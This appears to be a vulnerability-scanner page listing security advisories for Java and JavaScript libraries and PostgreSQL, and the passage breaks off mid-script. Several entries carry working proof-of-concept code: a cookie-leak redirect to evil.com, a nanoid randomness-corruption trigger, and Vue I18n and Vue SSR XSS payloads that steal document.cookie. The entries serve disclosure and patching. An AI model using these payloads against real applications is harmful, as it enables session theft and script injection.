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Vulnerabilities 401–450 of 785, affecting the active versions
| Score | ID | Status | Published | Affected versions | Description | Notes |
|---|---|---|---|---|---|---|
| 7.4CVSS 3.1 | GHSA-7xrh-hqfc-g7qr
CVE-2026-24281 |
Not affected | 2026-03-07 | 5.7 ×55.6 ×95.5 ×205.4 ×14 | Hostname verification in Apache ZooKeeper ZKTrustManager falls back to reverse DNS (PTR) when IP SAN validation fails, allowing attackers who control or spoof PTR records to impersonate ZooKeeper servers or clients with a valid certificate for the PTR name. It's important to note that attacker must present a certificate which is trusted by ZKTrustManager which makes the attack vector harder to exploit. Users are recommended to upgrade to version 3.8.6 or 3.9.5, which fixes this issue by introducing a new configuration option to disable reverse DNS lookup in client and quorum protocols. | |
| 7.4CVSS 3.1 | GHSA-fmxf-pm6p-7xgm
CVE-2026-45300 |
Resolved | 2026-05-18 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ## Summary async-http-client leaks `Cookie` headers to cross-origin redirect targets. When following a redirect across a security boundary (different origin, or HTTPS→HTTP downgrade), the `propagatedHeaders()` method in `Redirect30xInterceptor.java` strips `Authorization` and `Proxy-Authorization` headers but does not strip `Cookie`, so session cookies and other sensitive cookie values are forwarded to the redirect target — which may be attacker-controlled. ## Details The vulnerability is in `client/src/main/java/org/asynchttpclient/netty/handler/intercept/Redirect30xInterceptor.java`. The caller computes `stripAuth` on each redirect: ```java boolean sameBase = request.getUri().isSameBase(newUri); boolean stripAuth = !sameBase || schemeDowngrade || stripAuthorizationOnRedirect; // ... requestBuilder.setHeaders(propagatedHeaders(request, realm, keepBody, stripAuth)); ``` `stripAuth` is `true` whenever the redirect crosses an origin, downgrades the scheme, or the caller opted in via `AsyncHttpClientConfig#isStripAuthorizationOnRedirect()`. In the vulnerable version, `propagatedHeaders()` only removes `Authorization` and `Proxy-Authorization` in that branch — `Cookie` is left untouched: ```java private static HttpHeaders propagatedHeaders(Request request, Realm realm, boolean keepBody, boolean stripAuthorization) { HttpHeaders headers = request.getHeaders() .remove(HOST) .remove(CONTENT_LENGTH); if (!keepBody) { headers.remove(CONTENT_TYPE); } if (stripAuthorization || (realm != null && (realm.getScheme() == AuthScheme.NTLM || realm.getScheme() == AuthScheme.SCRAM_SHA_256))) { headers.remove(AUTHORIZATION) .remove(PROXY_AUTHORIZATION); // BUG: COOKIE is not removed here, so cookies leak across the security boundary. } return headers; } ``` The companion test class `RedirectCredentialSecurityTest` covers `Authorization` / `Proxy-Authorization` stripping on cross-origin redirects and scheme downgrades, but has no coverage for `Cookie`, which is why the regression went unnoticed. ## Proof of concept ```java import org.asynchttpclient.*; AsyncHttpClient client = asyncHttpClient(); // trusted-api.com responds 302 -> https://evil.com Request request = new RequestBuilder("GET") .setUrl("https://trusted-api.com/endpoint") .setHeader("Cookie", "session=abc123; csrf=xyz789; api_key=secret") .setHeader("Authorization", "Bearer token123") .build(); client.executeRequest(request).get(); // Request seen by evil.com after the redirect: // Authorization: <stripped> // Cookie: session=abc123; csrf=xyz789; api_key=secret <-- leaked ``` ## Impact - **Session hijacking** — leaked session cookies allow impersonation. - **CSRF token theft** — CSRF tokens carried in cookies are disclosed. - **API key theft** — API keys stored in cookies are disclosed. - **Privacy** — tracking identifiers leak to third-party origins. Realistic attack paths: - Open-redirect in a trusted API endpoint. - Compromised CDN or API gateway injecting redirects. - MITM on a plaintext hop in the redirect chain. ## Fix Add `COOKIE` to the headers removed alongside `AUTHORIZATION` / `PROXY_AUTHORIZATION` on the security-boundary branch: ```java if (stripAuthorization) { headers.remove(AUTHORIZATION) .remove(PROXY_AUTHORIZATION) .remove(COOKIE); } else if (realm != null && (realm.getScheme() == AuthScheme.NTLM || realm.getScheme() == AuthScheme.SCRAM_SHA_256)) { headers.remove(AUTHORIZATION) .remove(PROXY_AUTHORIZATION); } ``` Note that the URI-scoped `CookieStore` will re-add any cookies that legitimately match the new target after `propagatedHeaders` returns, so legitimate cross-origin sessions tracked by the client are not broken. Fixed in **3.0.10** and **2.15.0** by commit [`3b0e3e9e`](https://github.com/AsyncHttpClient/async-http-client/commit/3b0e3e9e). | |
| 7.4CVSS 3.1 | GHSA-g84c-rxfj-3j2c
CVE-2026-76844 |
Resolved | 2026-09-29 | 5.6 ×95.5 ×205.4 ×14 | > [!IMPORTANT] > CVE-2026-76844 was assigned and published for this issue by VulnCheck on 2026-08-24 without prior coordination with the webpack maintainers or the OpenJS Foundation, which holds the CVE Numbering Authority scope for webpack projects. Neither the maintainers nor the OpenJS CNA were notified before publication, and no fix was available at that time. This advisory is the coordinated record produced by the webpack maintainers and the OpenJS Foundation CNA. ### Impact `webpack-dev-middleware` resolves a request to a local file in `getFilenameFromUrl`. When the configured `publicPath` has no trailing slash (for example `/assets`), a request that shares that prefix without being under it (for example `/assets../secret`) still passes the containment check, and the `..` guard does not catch it because it runs on the path before the `publicPath` prefix is stripped. The stripped remainder then escapes the configured output directory once joined, so an unauthenticated request can read files outside the output root. Applications serving `webpack-dev-middleware` (directly or via `webpack-dev-server`) with a `publicPath` that does not end in a slash are affected. A development server reachable on the network can be attacked with a single request and no victim interaction. ### Patches Patched in `webpack-dev-middleware` 8.3.0. There is no backport to the 5.x, 6.x, or 7.x lines; users on those lines should upgrade to 8.3.0 or later. ### Workarounds Configure `publicPath` with a trailing slash (for example `/assets/` instead of `/assets`), or upgrade to a patched version. ### References - [CVE-2024-29180](https://www.cve.org/CVERecord?id=CVE-2024-29180) ([GHSA-wr3j-pwj9-hqq6](https://github.com/webpack/webpack-dev-middleware/security/advisories/GHSA-wr3j-pwj9-hqq6)), the earlier path traversal in the same component that this issue bypasses. | |
| 7.4CVSS 3.1 | GHSA-mg83-c7gq-rv5c
CVE-2025-22228 |
Not affected | 2025-03-20 | 5.4 ×14 | BCryptPasswordEncoder.matches(CharSequence,String) will incorrectly return true for passwords larger than 72 characters as long as the first 72 characters are the same. | |
| 7.4CVSS 3.1 | GHSA-p6mc-m468-83gw
CVE-2020-8203 |
Resolved | 2020-07-15 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions `pick`, `set`, `setWith`, `update`, `updateWith`, and `zipObjectDeep` allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays. This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances. | |
| 7.4CVSS 3.1 | GHSA-v2j5-22fr-j62r
CVE-2026-107230 |
In triage | 2026-10-08 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact The fix for GHSA-vvp4-63h8-v5pm in 3.0.13 folded the authenticated principal into the HTTP/1.1 connection pool key, so that a connection one principal authenticated with NTLM, Kerberos or SPNEGO is not handed to another. It left three cases out. In each, a socket that one identity authenticated can still be drawn by a request belonging to a different identity, and the server serves that request as the first one. 1. **A login with no configured principal.** Kerberos and SPNEGO against the ticket cache or the default JAAS login, which is the usual deployment, leave the realm's principal unset, and the key stayed unscoped in that case. A request to the same host that carries no credentials at all draws the authenticated socket and is served as the service identity. 2. **The proxy realm.** Only the origin realm went into the key. A connection authenticated to a proxy with NTLM or Negotiate is handed to requests of another proxy identity, or of none, and the proxy acts for them as the first identity. 3. **Identities that share a user name.** Only the principal string went into the key, so `CORP\alice` and `OTHER\alice` shared connections, as did two realms differing only in password, login context, keytab or service principal. The Kerberos login cache in `SpnegoEngine` had the same collision, and it was an unsynchronised map, so concurrent first use could hand one caller's login to another. ### Who is Impacted Applications that authenticate with NTLM, Kerberos or SPNEGO, to an origin or to a proxy, and send requests under different identities, or both with and without credentials, to the same host through one client. The sharpest case is a service that calls an internal host under its own Kerberos identity and also fetches user-supplied URLs: a URL on that host is fetched as the service. Basic and Digest are not affected. ### Affected versions * 3.x: 3.0.13 * 2.x: 2.16.1 Earlier versions are covered by GHSA-vvp4-63h8-v5pm. ### Patches Fixed in 3.0.14. The pool key now carries a digest of every field of the realm that decides which identity the connection ends up as, for the origin and the proxy separately, and a realm that authenticates the connection is scoped whether or not it names a principal. `SpnegoEngine` caches logins in a concurrent map keyed by every other field of that identity, and replaces a cached login when the password changes. The 2.x line is end of life and will not receive a fix. Upgrade to 3.0.14. ### Workarounds Use a separate `AsyncHttpClient` instance per identity, and do not share one between authenticated and unauthenticated requests to a host that uses NTLM or Negotiate. Disabling connection pooling also removes the reuse. Incomplete fix of GHSA-vvp4-63h8-v5pm. | |
| 7.4CVSS 3.1 | GHSA-xwg4-73v4-xw9w
CVE-2026-73086 |
Not affected | 2026-09-01 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary An integer overflow in `nanoid(size)` permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string `"uuuuuuuuuuuuuuuuuuuuu"`. Any application that passes user-influenced values to the `size` parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart. ### Details `nanoid()` at [`index.js:101`](https://github.com/ai/nanoid/blob/main/index.js#L101) coerces the `size` parameter with `size |= 0`, which converts it to a signed 32-bit integer. When `size >= 2^31` (e.g., `2147483648`), this wraps to `-2147483648`. The negative value is passed to `fillPool()` ([`index.js:15`](https://github.com/ai/nanoid/blob/main/index.js#L15)): ```javascript function fillPool(bytes) { if (!pool || pool.length < bytes) { // false: pool exists, -2B < pool.length pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER) crypto.getRandomValues(pool) poolOffset = 0 } else if (poolOffset + bytes > pool.length) { // false: poolOffset + (-2B) < pool.length crypto.getRandomValues(pool) poolOffset = 0 } poolOffset += bytes // poolOffset += -2147483648 → deeply negative } ``` Neither branch triggers, so the pool is never refreshed. `poolOffset` becomes ~-2.1 billion. Subsequent `nanoid()` calls execute: ```javascript for (let i = poolOffset - size; i < poolOffset; i++) { id += scopedUrlAlphabet[pool[i] & 63] } ``` `pool[negative_index]` returns `undefined`. `undefined & 63` evaluates to `0`. `urlAlphabet[0]` is `'u'`. Every ID becomes `"uuuuuuuuuuuuuuuuuuuuu"`. The corruption is **persistent** — it affects all subsequent calls in the process until ~100 million calls eventually wrap `poolOffset` back to positive, or the process restarts. ### PoC ```javascript import { nanoid } from 'nanoid' // Step 1: Normal operation console.log(nanoid()) // e.g., "V1StGXR8_Z5jdHi6B-myT" // Step 2: Trigger overflow (e.g., from an API parameter) try { nanoid(2147483648) } catch(e) {} // Step 3: All subsequent IDs are deterministic console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu" console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu" console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu" // ... forever, process-wide ``` Run with: `node --experimental-vm-modules poc.mjs` Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to `nanoid(userInput)`. ### Impact **Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.** - All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable - An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass - The corruption is persistent (survives across requests) and affects all consumers of `nanoid` in the same process - No special privileges or preconditions required — a single unauthenticated request is sufficient - Affects any application that passes external input to the `size` parameter without validation | |
| 7.3CVSS 4.0 | CVE-2026-106451
GHSA-mcr4-qmvw-px4g |
In triage | 2026-10-06 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | yawkat LZ4 Java provides LZ4 compression for Java. From 1.7.0 until 1.11.4, net.jpountz.util.Native.load() uses File.createTempFile to create an exclusive temporary .lck file but derives the native-library path by removing the suffix, then FileOutputStream opens that predictable path without exclusive creation, allowing another local user with access to the same shared temporary directory to create or replace the library file before System.load() uses it. Successful exploitation depends on shared-directory permissions, host protections, and winning the race, and can execute native code as the victim; hardened systems may instead cause library loading to fail and fall back to Java implementations. Configurations using a system library, a private java.io.tmpdir, or Java-only implementations are not affected. This issue is fixed in version 1.11.4. | |
| 7.3CVSS 3.1 | CVE-2026-40542
GHSA-v468-qcjx-r72w |
Resolved | 2026-04-22 | 5.7 ×75.6 ×9 | Missing critical step in authentication in Apache HttpClient 5.6 allows an attacker to cause the client to accept SCRAM-SHA-256 authentication without proper mutual authentication verification. Users are recommended to upgrade to version 5.6.1, which fixes this issue. | |
| 7.3CVSS 3.1 | GHSA-57rv-r2g8-2cj3
CVE-2026-42584 |
Resolved | 2026-05-07 | 5.7 ×35.6 ×25.5 ×205.4 ×14 | ### Summary If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's. ### Details HttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset. Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx ### PoC ```java @Test public void test() { EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec()); assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1"))); ByteBuf request = channel.readOutbound(); request.release(); assertNull(channel.readOutbound()); assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2"))); request = channel.readOutbound(); request.release(); assertNull(channel.readOutbound()); String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" + "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" + "HTTP/1.1 200 OK\r\n\r\n"; assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII))); // Response 1 HttpResponse response = channel.readInbound(); assertEquals(HttpResponseStatus.EARLY_HINTS, response.status()); LastHttpContent last = channel.readInbound(); assertEquals(0, last.content().readableBytes()); last.release(); // Response 2 response = channel.readInbound(); assertEquals(HttpResponseStatus.OK, response.status()); last = channel.readInbound(); assertEquals(0, last.content().readableBytes()); last.release(); // Response 3 FullHttpResponse response1 = channel.readInbound(); assertTrue(response1.decoderResult().isFailure()); assertEquals(0, response1.content().readableBytes()); response1.release(); assertFalse(channel.finish()); } ``` ### Impact Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket. | |
| 7.3CVSS 4.0 | GHSA-mcr4-qmvw-px4g
CVE-2026-106451 |
In triage | 2026-10-07 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary When no system-installed `liblz4-java` is found, `net.jpountz.util.Native.load()` extracts the bundled native library to `java.io.tmpdir` and loads it with `System.load`. The path of the extracted library can be predicted before it is created, and the library file is opened without exclusive creation. Another local user who can write to the same temporary directory can therefore create the file first and control the code that is loaded. ### Details ```java tempLibLock = File.createTempFile("liblz4-java-", "." + os().libExtension + ".lck"); tempLib = new File(tempLibLock.getAbsolutePath().replaceFirst(".lck$", "")); // copy to tempLib try (FileOutputStream out = new FileOutputStream(tempLib)) { ... } ... System.load(tempLib.getAbsolutePath()); ``` Only the `.lck` file is created safely, with a random name and exclusive creation. The library path is the `.lck` name without the `.lck` suffix, and nothing reserves it. `new FileOutputStream(tempLib)` opens it with `O_CREAT|O_TRUNC` and follows symlinks. In a shared, world-writable temporary directory, another user can watch for the `.lck` file and create the corresponding library file before it is opened. If they win that race, they own the file. The victim then writes into the attacker-owned file, and the attacker can overwrite it again before `System.load`. Whether this can be exploited depends on the host: - With `fs.protected_regular = 0`, the attacker can pre-create a world-writable file, and their code is then loaded into the victim's JVM. - With `fs.protected_regular >= 1` (the default on many systemd-based distributions), the victim's open fails. The library then fails to load and the library falls back to the Java implementations, so the attacker can only cause a denial of service. - A symlink variant is blocked by `fs.protected_symlinks = 1`. - Temporary directories without the sticky bit, or shared across users in containers, are exploitable whatever these settings are. This behaviour was introduced upstream in commit c3ddae5 (lz4-java 1.7.0), which swapped which of the two files is created with `createTempFile`. ### Impact A local user who can write to the same temporary directory as a victim process that uses the bundled JNI library may be able to execute code as the victim. Exploitation requires a shared temporary directory, host settings that permit it, and winning a race. The issue does not apply if `liblz4-java` is found on `java.library.path`, if `java.io.tmpdir` is private to the user (for example systemd `PrivateTmp`, or a per-user temporary directory), or if only the Java implementations are used. ### Patch Fixed in lz4-java 1.11.4. The native library is now extracted directly into a file created by `File.createTempFile`, which has a random name and is created exclusively, so a file or symlink planted in advance cannot be reused. The `.lck` lock files are no longer used. Instead, the startup cleanup removes stale `liblz4-java-*` temporary files (including `.lck` files left by older versions) only once they are more than one hour old. For older versions, the workaround is to set `java.io.tmpdir` to a directory writable only by the application user, or install `liblz4-java` on `java.library.path`. | |
| 7.3CVSS 3.1 | GHSA-v468-qcjx-r72w
CVE-2026-40542 |
Resolved | 2026-04-22 | 5.7 ×75.6 ×9 | Missing critical step in authentication in Apache HttpClient 5.6 allows an attacker to cause the client to accept SCRAM-SHA-256 authentication without proper mutual authentication verification. Users are recommended to upgrade to version 5.6.1, which fixes this issue. | |
| 7.2CVSS 4.0 | CVE-2025-61927
GHSA-37j7-fg3j-429f |
False positive | 2025-10-10 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks. A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality. It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the `require()` function to import modules. Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment. Version 20.0.0 patches the issue by changing JavaScript evaluation to be disabled by default. | |
| 7.2CVSS 3.1 | CVE-2026-118257
GHSA-83rm-6c8r-g728 |
In triage | 2026-10-28 | 5.7 ×75.6 ×95.5 ×20 | Vue I18n is the internationalization plugin for Vue.js. From 11.1.10 until 11.4.14 and from 12.0.0-alpha.4 until 12.0.0-alpha.5, sanitizeTranslatedHtml() escapes markup and event-handler text inside an iframe srcdoc value but leaves the srcdoc attribute active. Browsers decode the character references and parse the value as a same-origin nested HTML document, allowing attacker-controlled parameters or translation content placed in srcdoc to execute script when applications enable escapeParameter and render translations as HTML through v-html. Versions 9.14.5 and 10.0.8 are also affected and are no longer supported, while i18n-t rendering is not affected. This issue is fixed in versions 11.4.14 and 12.0.0-alpha.5. | |
| 7.2CVSS 3.1 | CVE-2026-6471
|
Resolved | 2026-08-13 | 5.7 ×35.6 ×65.5 ×205.4 ×14 | Missing authorization in PostgreSQL logical decoding allows a non-superuser holding REPLICATION privilege to dlopen any file visible to the operating system account running the server, via the choice of logical decoding plugin. This in turn runs arbitrary code as that account. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected. | |
| 7.2CVSS 3.1 | CVE-2026-6476
|
Resolved | 2026-05-14 | 5.5 ×125.4 ×12 | SQL injection in PostgreSQL pg_createsubscriber allows an attacker with pg_create_subscription rights to execute arbitrary SQL as a superuser. The attack takes effect when pg_createsubscriber next runs. Within major versions 17 and 18, minor versions before PostgreSQL 18.4 and 17.10 are affected. Versions before PostgreSQL 17 are unaffected. | |
| 7.2CVSS 3.1 | GHSA-83rm-6c8r-g728
CVE-2026-118257 |
In triage | 2026-10-28 | 5.7 ×75.6 ×95.5 ×20 | ### Summary When `escapeParameter` is enabled (`escapeParameterHtml` in the Legacy API), Vue I18n passes the translated string through `sanitizeTranslatedHtml()`. The sanitizer escapes `<` and `>` in attribute values and neutralizes event handler attributes such as `onerror`, but it does not handle the `srcdoc` attribute of `<iframe>`. The value of `srcdoc` is an HTML document: the browser decodes the character references in it and parses the result as a nested document in the same origin. The escaping and the neutralization done by the sanitizer are both character references, so they are undone inside `srcdoc`. This bypasses the fix for CVE-2025-53892 (GHSA-x8qp-wqqm-57ph). ### Details `sanitizeTranslatedHtml()` ([`packages/shared/src/sanitize.ts` in v11.4.13](https://github.com/intlify/vue-i18n/blob/v11.4.13/packages/shared/src/sanitize.ts#L126-L162)) works on the final translated string: 1. It escapes `<`, `>`, `"` and `'` inside quoted attribute values. 2. It rewrites the `on` of event handler attributes to `on`. 3. It replaces `javascript:` URLs in `href`, `src`, `action` and `formaction` with `about:blank`. Inside `srcdoc`, steps 1 and 2 only produce character references, which the browser decodes before parsing the value as a document. Markup inside `srcdoc` therefore survives the sanitizer, with escaping or without it. This can be reached in three ways: - **A parameter inside `srcdoc`.** With a message such as `<iframe srcdoc="{content}"></iframe>`, `escapeParameter` escapes `content` into character references, and the browser decodes them again. - **Markup in a message.** A message that contains an `<iframe srcdoc="...">` keeps it after sanitizing. The documentation asks not to use HTML messages with content from users, but it also says that the sanitizer neutralizes event handlers in the final HTML. - **Together with GHSA-8rc2-428q-7ww3.** When a call passes a list and named values, the named values are not escaped. An `<iframe srcdoc="...">` in a named value then reaches the sanitizer as markup, even with an ordinary message such as `{0} {name}`. ### PoC ```js import { createI18n } from 'vue-i18n' const i18n = createI18n({ legacy: false, locale: 'en', escapeParameter: true, messages: { en: { message: '<iframe srcdoc="<b>x</b>"></iframe>' } } }) console.log(i18n.global.t('message')) // v11.4.13: <iframe srcdoc="<b>x</b>"></iframe> ``` The browser decodes the value and renders `<b>x</b>` as a separate document inside the `<iframe>`, in the same origin as the page. Any markup in that position is parsed the same way. ### Impact Applications are affected when they enable `escapeParameter`, render translations as HTML (for example with `v-html`), and one of the following applies: - an untrusted value is passed as a parameter that the message places inside `srcdoc`, - message content is not fully trusted (for example crowdsourced or stored translations), or - untrusted named values are passed in the same call as a list (GHSA-8rc2-428q-7ww3). An attacker can then run script in the origin of the application (DOM-based XSS), despite the sanitizer. Rendering through `<i18n-t>` is not affected, since it does not render translations as HTML. ### Patches Fixed in 11.4.14 and 12.0.0-alpha.5. The sanitizer now neutralizes the `srcdoc` attribute itself, in the same way as event handler attributes. v9 and v10 are no longer supported and will not be fixed. Please migrate to v11. ### Workarounds - Do not render translations that can contain untrusted content with `v-html`. Use component interpolation (`<i18n-t>`) instead. - Do not put `srcdoc` in translation messages, and do not pass values into it. ### References - [CWE-79](https://cwe.mitre.org/data/definitions/79.html), [CWE-116](https://cwe.mitre.org/data/definitions/116.html) - [GHSA-x8qp-wqqm-57ph](https://github.com/intlify/vue-i18n/security/advisories/GHSA-x8qp-wqqm-57ph) (CVE-2025-53892): the fix that added `sanitizeTranslatedHtml()` - [GHSA-8rc2-428q-7ww3](https://github.com/intlify/vue-i18n/security/advisories/GHSA-8rc2-428q-7ww3): named values are not escaped when a list is also passed - [HTML Standard: the `srcdoc` attribute](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-srcdoc) | |
| 7.2CVSS 3.1 | GHSA-g2v6-rqmx-r4w6 | In triage | 2026-10-05 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Description `@vue/server-renderer` was investigated specifically because it's the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that's already running the app's own JS. `ssrRenderAttrs()` (in `packages/server-renderer/src/helpers/ssrRenderAttrs.ts`) is what compiled SSR output calls for something like `<div v-bind="userObject">`. It loops over the object's own keys and, for each one, renders it as an HTML attribute: ```ts export function ssrRenderDynamicAttr( key: string, value: unknown, tag?: string, ): string { if (!isRenderableAttrValue(value)) { return `` } const attrKey = ... if (isBooleanAttr(attrKey) || ...) { return includeBooleanAttr(value) ? ` ${attrKey}` : `` } else if (isSSRSafeAttrName(attrKey)) { return value === '' ? ` ${attrKey}` : ` ${attrKey}="${escapeHtml(value)}"` } else { console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`) return `` } } ``` The value always goes through `escapeHtml()` -- that part is correctly and consistently applied everywhere in this file. But the attribute name (`attrKey`) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own: ```ts // packages/shared/src/domAttrConfig.ts const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/ export function isSSRSafeAttrName(name: string): boolean { if (attrValidationCache.hasOwnProperty(name)) { return attrValidationCache[name] } const isUnsafe = unsafeAttrCharRE.test(name) if (isUnsafe) { console.error(`unsafe attribute name: ${name}`) } return (attrValidationCache[name] = !isUnsafe) } ``` That blacklist covers: `>`, `/`, `=`, `"`, apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as `\r` in JS). That matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step ("preprocessing the input stream") converts every `\r` not followed by `\n` into a `\n` before the tokenizer even starts. So a raw `\r` sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that's exactly the gap. Below is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source: <img width="781" height="336" alt="poc1" src="https://github.com/user-attachments/assets/f4b92955-9a8f-4700-8c51-38ee46912de8" /> ## Prrof The real, unmodified ssrRenderAttrs() from the published @vue/server-renderer@3.5.41 package was tested. The source at HEAD and the upcoming v3.6.0-rc.2 tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified. Full script, saved as `poc.mjs` (GitHub doesn't let me attach `.mjs` directly, so the complete file is here): ```js import { ssrRenderAttrs } from '@vue/server-renderer'; import { parseFragment } from 'parse5'; // This is exactly what compiled SSR output calls for `<div v-bind="userObject">` // -- the real, unmodified, published ssrRenderAttrs function. // Full attack chain: the key itself contains ONLY letters, digits, and a // bare \r (carriage return) -- no '>', '/', '=', '"', "'", tab, LF, FF, or // space anywhere, so isSSRSafeAttrName() considers it fully safe. The value // is attacker-controlled JavaScript, delivered as the genuine value of the // LAST \r-separated fragment, which Vue's own template naturally appends via // `="${escapeHtml(value)}"` immediately after the key. const maliciousKey = 'x\rautofocus\ronfocus'; const props = { [maliciousKey]: 'alert(document.cookie)', }; const rawAttrString = ssrRenderAttrs(props); console.log('=== Raw string produced by the real ssrRenderAttrs() ==='); console.log(JSON.stringify(rawAttrString)); console.log(); console.log('=== As it would literally appear in the HTML response ==='); console.log(rawAttrString.replace(/\r/g, '\\r').replace(/\n/g, '\\n\n')); const fullHtml = `<div${rawAttrString}>content</div>`; console.log(); console.log('=== Full element HTML ==='); console.log(JSON.stringify(fullHtml)); // Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5 // parser (the same parsing algorithm real browsers implement, including the // \r\n -> \n input-preprocessing normalization step). const fragment = parseFragment(fullHtml); const div = fragment.childNodes.find(n => n.tagName === 'div'); console.log(); console.log('=== How a real HTML5 parser (parse5) actually interprets this ==='); console.log('Attributes parsed on the <div>:'); for (const attr of div.attrs) { console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`); } const injectedHandler = div.attrs.find(a => a.name === 'onfocus'); const injectedAutofocus = div.attrs.find(a => a.name === 'autofocus'); console.log(); if (injectedHandler && injectedAutofocus) { console.log('*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***'); console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`); console.log('*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***'); } else { console.log('Not confirmed.'); } ``` This is a fresh `npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5` -- the real, currently-published packages, not anything modified: <img width="831" height="531" alt="poc2" src="https://github.com/user-attachments/assets/ea350948-4c93-45a3-b21a-f21dc7f90d29" /> Real, captured output: ``` === Raw string produced by the real ssrRenderAttrs() === " x\rautofocus\ronfocus=\"alert(document.cookie)\"" === Full element HTML === "<div x\rautofocus\ronfocus=\"alert(document.cookie)\">content</div>" === How a real HTML5 parser (parse5) actually interprets this === Attributes parsed on the <div>: "x" = "" "autofocus" = "" "onfocus" = "alert(document.cookie)" *** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out *** *** onfocus value: "alert(document.cookie)" *** ``` <img width="834" height="897" alt="poc3" src="https://github.com/user-attachments/assets/a92f9c5b-e30d-4968-9ec1-8969628c6437" /> <img width="834" height="896" alt="poc4" src="https://github.com/user-attachments/assets/a397cd3f-8eb3-49af-9604-a31a8bcdb2ea" /> The single attribute name Vue intended to render safely -- `x\rautofocus\ronfocus` -- gets parsed by any real browser as three separate things: an empty `x` attribute, a real `autofocus` boolean attribute, and a real `onfocus="alert(document.cookie)"` event handler. `autofocus` means the element receives focus automatically on page load, which fires the `focus` event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required. This behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case (`"foo\rbar"` as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (`foo=""` and `bar="..."`), before building the full self-triggering payload above. To go beyond the parser-level proof, there is a second script that calls the real `ssrRenderAttrs()`, captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as `generate_real_poc.mjs`: ```js import { ssrRenderAttrs } from '@vue/server-renderer'; import fs from 'fs'; // This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed // @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML, // it is Vue's own function's real return value, captured programmatically. const maliciousKey = 'x\rsrc\ronerror'; const props = { [maliciousKey]: 'alert("REAL Vue SSR output executed this -- cookie: " + document.cookie)' }; const vueOutput = ssrRenderAttrs(props); console.log('=== Vue\'s real ssrRenderAttrs() returned exactly this string ==='); console.log(JSON.stringify(vueOutput)); // Build the full page around Vue's UNMODIFIED output -- the <img ...> tag // content between the angle brackets is copied byte-for-byte from vueOutput, // not retyped. const html = `<!DOCTYPE html> <html> <head><title>Vue SSR 